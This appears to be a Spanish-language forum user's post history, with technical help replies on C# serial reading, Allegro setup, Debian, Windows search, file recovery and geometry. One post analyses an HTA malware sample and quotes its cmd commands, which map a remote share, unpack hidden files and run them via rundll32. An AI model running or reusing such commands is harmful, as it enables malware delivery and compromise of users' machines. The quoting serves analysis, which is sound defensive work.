|
1
|
Programación / .NET (C#, VB.NET, ASP) / Re: Leer bien los datos recibidos.
|
en: Ayer a las 19:55
|
Cambia tu línea 55: string data = puertoSerie.ReadExisting(); // Usamos ReadExisting para leer todo
por: string data = puertoSerie.ReadTo("\r");
Si usas ReadExisting como dice, lees lo que haya hasta ese momento y lo imprimes, por eso a veces sale en trozos Si usas ReadTo("\r") lees hasta encontrar "\r" y recién imprimes Si te das cuenta en RealTerm cuando envías el comando y empieza a mostrar el resultado, a veces también tiene un retardo y sale en trozos, pero como está todo seguido (sin saltos de línea) no se ve al finalizar, tu código si pone saltos de línea al imprimir los trozos y por eso se ve raro
|
|
|
2
|
Programación / Programación C/C++ / Re: configurar codeblock para compilar allegro
|
en: 14 Mayo 2025, 01:36 am
|
Te lo muestro con DevC++ de Embarcadero, Codeblocks es muy pesado para mí. https://github.com/Embarcadero/Dev-Cpp/releases/download/v6.3/Embarcadero_Dev-Cpp_6.3_TDM-GCC_9.2_Portable.7zPesa 70MB y ya trae el compilador Descargas también Allegro: https://github.com/liballeg/allegro5/releases/download/5.2.10.1/allegro-x86_64-w64-mingw32-gcc-14.2.0-posix-seh-dynamic-5.2.10.0.zip1. Extraes DevC++ y Allegro, dentro de DevC++ tienes la carpeta del compilador: TDM-GCC-64 y dentro están las carpetas bin, include y lib; Allegro también tiene esas carpetas, solo tienes que pegar las carpetas que trae Allegro al de TDM-GCC-64 para unirlas 2. Crea un archivo con DevC++ (File > New > Source File), por tu código o uno sencillo para hacer la prueba, por ejemplo en la Wiki de Allegro prueban con: #include <allegro5/allegro5.h> #include <allegro5/allegro_font.h> #include <stdbool.h> int main() { al_init(); al_install_keyboard(); ALLEGRO_TIMER* timer = al_create_timer(1.0 / 30.0); ALLEGRO_EVENT_QUEUE* queue = al_create_event_queue(); ALLEGRO_DISPLAY* disp = al_create_display(320, 200); ALLEGRO_FONT* font = al_create_builtin_font(); al_register_event_source(queue, al_get_keyboard_event_source()); al_register_event_source(queue, al_get_display_event_source(disp)); al_register_event_source(queue, al_get_timer_event_source(timer)); bool redraw = true; ALLEGRO_EVENT event; al_start_timer(timer); while(1) { al_wait_for_event(queue, &event); if(event.type == ALLEGRO_EVENT_TIMER) redraw = true; else if((event.type == ALLEGRO_EVENT_KEY_DOWN) || (event.type == ALLEGRO_EVENT_DISPLAY_CLOSE)) break; if(redraw && al_is_event_queue_empty(queue)) { al_clear_to_color(al_map_rgb(0, 0, 0)); al_draw_text(font, al_map_rgb(255, 255, 255), 0, 0, 0, "Hello world!"); al_flip_display(); redraw = false; } } al_destroy_font(font); al_destroy_display(disp); al_destroy_timer(timer); al_destroy_event_queue(queue); return 0; }
3. Ahora solo tienes que indicarle a DevC++ que añada librerías que necesitará Allegro, en el ejemplo se usa el propio Allegro (obligatorio) y la librería Font. Para esto en DevC++ te vas a Tools > Compiler Options, en el apartado General te mostrará dos cuadros de texto grandes para poner las instrucciones, te sitúas en el de abajo ya que corresponde al Linker, ya está marcado y por defecto viene puesto: -static-libgcc Ahi agregas las librerías Allegro y Font, quedaría así (copia y pega, o ten cuidado con los espacios): -static-libgcc -lallegro -lallegro_font 4. Listo, dale a Execute > Compile & Run, guarda el archivo debería funcionar bien. Solo recuerda añadir las librerías que vayas a utilizar en tu proyecto (-lallegro -lallegro_font), seguramente serán muchas más. Si tienes otro IDE como CodeBlocks debería tener opciones similares, como ves es muy sencillo, copiar/pegar Allegro (bin, include y lib) a la carpeta del compilador que estés usando, y añadir las librerías que incluyas también al Linker (-lallegro -lallegro_font -lxxxxx). Recuerda que si tu compilador es de 64-bit, también lo debe ser Allegro, para mi ejemplo utilicé y puse las descargas de los de 64-bit, aunque ese DevC++ permite trabajar tanto con 64-bit como con 32-bit pero ya tendrías que pegar las carpetas en otro lado, dudo que estés en un sistema de 32-bit pero si es el caso o tienes otros problemas comenta.
|
|
|
3
|
Sistemas Operativos / GNU/Linux / Re: Error: AE NOT FOUND, while el arrancar debian12
|
en: 13 Mayo 2025, 01:32 am
|
El error ACPI debe ser por falta de un driver de gestión de energía pero no debería ser problema para que inicies sesión Linux siempre te oculta las contraseñas que tecleas en la consola, es normal que no veas nada y parezca que no estás escribiendo pero en realidad si estás escribiendo, escribe tu contraseña y presiona Enter. El Debian que estás instalando es dependiente de Internet (por eso pesa tan poco), si no lo conectas a Internet o evitas la instalación completa tendrás una pantalla negra donde solo puedes ejecutar comandos. Descarga la versión completa o reinstala permitiendo la conexión a Internet y la descarga de los demás componentes como la interfaz gráfica y demás programas típicos como la calculadora, Libre Office, Firefox, etcSi estás conectado a Internet y permites la instalación de los demás componentes te preguntará la interfaz gráfica a instalar, si buscas buen rendimiento y apariencia razonable elige Xfce, si quieres todo rendimiento tienes Lxqt, elige cualquiera de las demás (Gnome, KDE o Mate) si quieres un escritorio y ventanas más bonitas y animadas a cambio de algo más de consumo de recursos.  ---- Versión DVD completa de Debian 12.10.0-1386 (por si no puedes conectarte a internet al instalar) https://cdimage.debian.org/debian-cd/current/i386/iso-dvd/debian-12.10.0-i386-DVD-1.iso
|
|
|
4
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Nuevo malware via archivo HTA
|
en: 10 Mayo 2025, 04:37 am
|
los hta son un peligro, puedes ejecutar comandos CMD ahí mismo y con eso haces de todo
Por lo que vi hace un "net use" para añadir una carpeta compartida desde Internet, luego descomprime lo que hay en esa carpeta compartida en otra carpeta oculta que crea en C:\, y empieza a ejecutar todo eso que descomprimió.
"C:\Windows\System32\cmd.exe" /c timeout 135 && forfiles /p c:\bv\ /m *.* /s /c "cmd /c rundll32 @path,ejm"
"C:\Windows\System32\cmd.exe" /c md c:\bv && attrib +h c:\bv && net use n: \\1p.si@ssltxf\t && forfiles /p n:\ /m *.* /s /c "cmd /c expand -r @path c:\bv" && net use n: /d /y
|
|
|
5
|
Sistemas Operativos / Windows / Re: ¿En Windows 7 cómo busco archivos modificados entre 2 fechas?
|
en: 1 Mayo 2025, 16:50 pm
|
1. Revisa las Opciones de Búsqueda en "Opciones de carpeta y búsqueda", no vaya a ser que moviste algo ahí, restaura si es necesario 2. El cuadro de búsqueda es bastante claro, cuando te aparece el calendario selecciona la fecha o rango de fechas, puedes arrastrar y soltar para seleccionar pequeños rangos o usar Shift + click para seleccionar un rango mucho más grande. 3. ChatGPT te lo está mostrando en Inglés y si tienes tu sistema en español no te sirve, como dije, el cuadro de búsqueda es bastante claro e incluso te muestra el formato de búsqueda aplicado para que lo recuerdes o modifiques ahí mismo 4. La búsqueda en Windows 10 es todavía más tediosa XD, hoy por hoy se utiliza el programa Everything que ya muchas veces te he recomendado, la diferencia es brutal, Everything encuentra las cosas en segundos porque hace la búsqueda en el Sistema de Archivos NTFS - Por ejemplo si quieres buscar los archivos y carpetas con fecha de modificación entre el 01/04/2025 al 01/05/2025 solo pones: dm:01/04/2025..01/05/2025- La diferencia es que te muestra los resultados en menos de 1 segundo. También tienes un cuadro de búsqueda avanzada (Búsqueda > Búsqueda avanzada) para que puedas elegir absolutamente todo lo que necesites de forma sencilla. 
|
|
|
6
|
Foros Generales / Noticias / Re: Si usas esta letra, tus contraseñas serán casi imposibles de descifrar: así lo aseguran los hackers
|
en: 27 Abril 2025, 16:55 pm
|
por qué los símbolos de los teclados son así, distribuídos así, por ejemplo me resulta molesto que si el signo < y ( está a la izquierda de su correspondiente contrario, el ¿ esté a la derecha de ? y me pasa algo parecido con los {} porque en el lenguaje que uso se ponen así } else { Eso ya tiene que ver con la distribución de teclado que compraste, la forma base del teclado más estándar es el QWERTY, de ahí varían de acuerdo a la región, los más conocidos son el Inglés, Español-España y Español Latino, al menos es así para los Hispanohablantes Yo siempre tengo estas imágenes que me sirven cuando tengo problemas con algún teclado estándar mal configurado: Español Latino  Español España  Inglés US  --- Con respecto a la ñ, pues ya depende de la fuerza bruta aplicada, lo normal es usar un diccionario estándar como Rockyou si no se sabe nada más, o aplicarle algunas modificaciones como tamaños mínimos/máximos, reemplazo de caracteres, etc si se tiene alguna idea. Por ejemplo si se tiene como pista que se utilizó una ñ, pues se agrega la ñ al juego de caracteres, si se sabe que la contraseña reemplaza la n por ñ igualmente se usa esa regla. Usar la ñ por ejemplo en: novia => ñovia es buena idea porque no estará en los diccionarios, al menos en rockyou ni en la mayoría de los diccionarios estará, es muy simple y agregándole alguito más de complejidad quedaría mejor.
|
|
|
8
|
Informática / Software / Re: ¿cómo montar una imagen virtual como si perteneciera a un disco duro real?
|
en: 24 Abril 2025, 02:00 am
|
Ya hace tiempo que llegué a la conclusión de que para recuperar archivos lo ideal es realizar una imagen de la partición a recuperar y trabajar sobre esta guardada en otro disco duro. Si los archivos a recuperar son en gran cantidad o el Disco tiene daños si. Pero si son archivos puntuales bien puedes trabajar sobre la misma unidad SIEMPRE y cuando dicha unidad no esté en uso, por ejemplo no debería ser la del sistema actual, para ese caso mejor apagar y arrancar con un Sistema Live o poner el Disco en otro PC Ahora intentando poner la idea en marcha veo que no es tan fácil. Es cierto que muchos programas recuperadores de archivos traen la opción incorporada, el problema es conseguir trabajar con esa misma imagen desde otros programas recuperadores de archivos. Dependiendo del programa puede que utilicen algún formato y/o compresión propietaria, en esos casos solo puedes usar el mismo programa o grupo de programas de esa marca. Pero en la mayoría de los casos, o permiten elegir un formato crudo RAW de toda la vida o uno de alta compatibilidad como VHD. La primera cualidad que debe de tener la imagen creada es que esta se haya realizado con copia de la partición sector por sector. (si no no copiaria los archivos eliminados) Eso si, seguro. El problema está en que cuando arranco un programa recuperador de archivos este no muestra esa letra de unidad porque no pertenece a un disco duro real, los programas solo muestran los discos duros reales existentes. Que programa recuperador estás usando? porque yo he hecho la prueba con Recuva, TestDisk y GetDataBack, con ninguno he tenido problemas luego de montar la imagen con ImDisk --- Normalmente se recomienda Recuva para usuarios comunes, TestDisk permite recuperar particiones y archivos pero ya requiere tener algo de idea porque es todo más técnico y su interfaz es CLI. GetDataBack siempre será un PILAR formidable para la recuperación de archivos tanto para usuarios de pocos conocimientos como para expertos, siempre suele ser la opción preferida por técnicos, este permite crear imágenes raw sector por sector y abrir imágenes raw o compatibles como los VHD para trabajar con ellos. GetDataBack Pro v5.61 Portable https://mega.nz/file/E1YTUBwY#m-ydukngsD5FjtUm-BLRmmJbnFOA9PgmcoQWRTs51UsTambién probé las nueva version 5.75 de GetDataBack pero hay particiones que no me detecta, la 5.61 no tiene problemas y es la que siempre utilicé. --- La nueva versión de Recuva ya permite crear imágenes VHD y lo bueno que tiene es que son raw (sector por sector pero de partición), además se pueden montar y editar (cuidado con esto) en Windows sin ningún problema. Recuva también ofrece la habilidad de trabajar con VHD PERO solo con la versión PRO de pago
|
|
|
10
|
Programación / Programación General / Re: Insertar imágenes en un área circular.
|
en: 20 Abril 2025, 01:11 am
|
La teoría dice:  Resumiendo: Un círculo está conformado por un punto centro (h,k) y una serie de puntos (x,y) alejados del punto centro a una distancia determinada llamada Radio (r) Si el punto centro está en las coordenadas 0,0 la fórmula se reduce a: x^2 + y^2 = r^2 Si ves la figura 5, el punto P está definido por x,y que son sus coordenadas. A cada "x" le corresponde una "y" para dibujar el círculo correctamente. Entonces si generas un "x" no hay problema siempre y cuando sea menor o igual que el Radio, y como ya dije: a cada "x" le corresponde una "y" para dibujar el círculo correctamente, hallas "y" utilizando la fórmula. Ese "y" que en el programa llamo "m" es el valor máximo que puede tomar "y" para no "salirse" del círculo. Es así de simple, supongo que hay otras maneras como el dibujar imaginariamente un triángulo rectángulo para hallar el cateto y utilizar la fórmula del Teorema de Pitágoras QUE justamente es lo que es la fórmula reducida de la circunferencia XD: h^2 = a^2 + b^2 donde "h" es la hipotenusa, "a" y "b" son los catetos. La hipotenusa sería el Radio, el cateto "a" ya lo tenemos porque sería "x" y solo hay que hallar "b" que sería "y"
|
|
|
|
|
|
|